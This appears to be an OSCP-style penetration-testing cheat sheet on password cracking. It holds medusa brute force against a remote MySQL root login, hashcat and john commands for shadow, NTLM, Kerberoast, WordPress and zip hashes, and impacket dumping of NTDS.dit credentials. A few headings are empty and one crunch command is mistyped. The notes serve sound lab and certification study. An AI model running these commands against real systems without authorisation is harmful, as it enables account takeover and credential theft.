Password cracking

An amazing index of brute-force commands

Username list

Before you brute force. Ask yourself: have you found a user list on the website? If so look through it for stand out names like dev, test, admin. These might be concealed in the big username list you found. Trust me, scan through the list. Also sort for unique names - save you brute forcing the same name. Lesson learned on PG! ....*cough Interface*


The POST request contained json{"username":"aaa","password":"bbbb"}. Patator didn't like it so I had to change it to 'username=FILE0&password=FILE1' see above

SQL bruteforce root password remotely

medusa -h $ip -M mysql -u root -P /usr/share/wordlists/rockyou.txt -t 40


  • MD5 32 hex characters.

  • SHA-1 40 hex characters.

  • SHA-256 64 hex characters.

  • SHA-512 128 hex characters.

  • Find the type of hash:

  • Find hash type at

  • Running john will tell you the hash type even if you don't want to crack it:

    john hashes.txt
  • Paste the entire /etc/shadow in file and run

    john hashes.txt
  • Paste the entire /etc/shadow in file and run

    john hashes.txt
  • GPU cracking:

    hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rockyou.txt
  • CPU cracking:

    john --wordlist=/usr/share/wordlists/rockyou.txt
  • Cracking /etc/shadow:

    unshadow password.txt shadow.txt > unshadowed.txt; john --wordlist=<any word list> unshadowed.txt
  • Generating wordlists

    crunch 6 6 0123456789ABCDEF 5o crunch1.txt
  • Online rainbow tables:


Hashcat Cheatsheet for OSCP

Identify Hashes


Example Hashes:


I have found that I can squeeze some more power out of my hash cracking by adding these parameters:

--force -O -w 4 --opencl-device-types 1,2

These will force Hashcat to use the CUDA GPU interface which is buggy but provides more performance (–force) , will Optimize for 32 characters or less passwords (-O) and will set the workload to "Insane" (-w 4) which is supposed to make your computer effectively unusable during the cracking process. Finally "--opencl-device-types 1,2 " will force HashCat to use BOTH the GPU and the CPU to handle the cracking.

Using hashcat and a dictionary

Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

Hashcat example cracking Wordpress passwords using rockyou: hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

Sample Hashes

HashCat One Rule to Rule them All

Not So Secure has built a custom rule that I have had luck with in the past: The rule can be downloaded from their Github site:

I typically drop OneRuleToRuleThemAll.rule into the rules subfolder and run it like this from my windows box (based on the notsosecure article):

hashcat64.exe --force -m300 --status -w3 -o found.txt --remove --potfile-disable -r rules\OneRuleToRuleThemAll.rule hash.txt rockyou.txt

Using hashcat bruteforcing

predefined charsets
?l = abcdefghijklmnopqrstuvwxyz
?d = 0123456789
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

?l?d?u is the same as: ?ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

Brute force all passwords length 1-8 with possible characters A-Z a-z 0-9 hashcat64 -m 500 hashes.txt -a 3 ?1?1?1?1?1?1?1?1 --increment -1 ?l?d?u

Cracking Linux Hashes - /etc/shadow file

Cracking Windows Hashes

Cracking Common Application Hashes

Cracking Common File Password Protections

Cracking Commmon Database Hash Formats

Cracking NTLM hashes

After grabbing or dumping the NTDS.dit and SYSTEM registry hive or dumping LSASS memory from a Windows box, you will often end up with NTLM hashes.

And using Impacket to dump the hashes

impacket-secretsdump -system SYSTEM -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

You can crack the NTLM hash dump usign the following hashcat syntax:

hashcat64 -m 1000 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\hashsample.hash "d:\WORDLISTS\realuniq.lst" -r OneRuleToRuleThemAll.rule

Benchmark using a Nvidia 2060 GTX: Speed: 7000 MH/s Recovery Rate: 12.47% Elapsed Time: 2 Hours 35 Minutes

Cracking Hashes from Kerboroasting - KRB5TGS

A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name. KRB5TGS - Kerberoasting Service Accounts that use SPN Once you have identified a Kerberoastable service account (Bloodhound? Powershell Empire? - likely a MS SQL Server Service Account), any AD user can request a krb5tgs hash from it which can be used to crack the password.

Based on my benchmarking, KRB5TGS cracking is 28 times slower than NTLM.

Hashcat supports multiple versions of the KRB5TGS hash which can easily be identified by the number between the dollar signs in the hash itself.

  • 13100 - Type 23 - $krb5tgs$23$

  • 19600 - Type 17 - $krb5tgs$17$

  • 19700 - Type 18 - $krb5tgs$18$

KRB5TGS Type 23 - Crackstation humans only word list with OneRuleToRuleThemAll mutations rule list.

hashcat64 -m 13100 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\krb5tgs.hash d:\WORDLISTS\realhuman_phill.txt -r OneRuleToRuleThemAll.rule	

Benchmark using a Nvidia 2060 GTX: Speed: 250 MH/s Elapsed Time: 9 Minutes

To crack linux hashes you must first unshadow them

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

Crack a zip password

zip2john | cut -d ':' -f 2 > hashes.txt hashcat -a 0 -m 13600 hashes.txt /usr/share/wordlists/rockyou.txt

Hashcat appears to have issues with some zip hash formats generated from zip2john. You can fix this by editing the zip hash contents to align with the example zip hash format found on the hash cat example page: $zip2$*0*3*0*b5d2b7bf57ad5e86a55c400509c672bd*d218*0**ca3d736d03a34165cfa9*$/zip2$

John seems to accept a wider range of zip formats for cracking.

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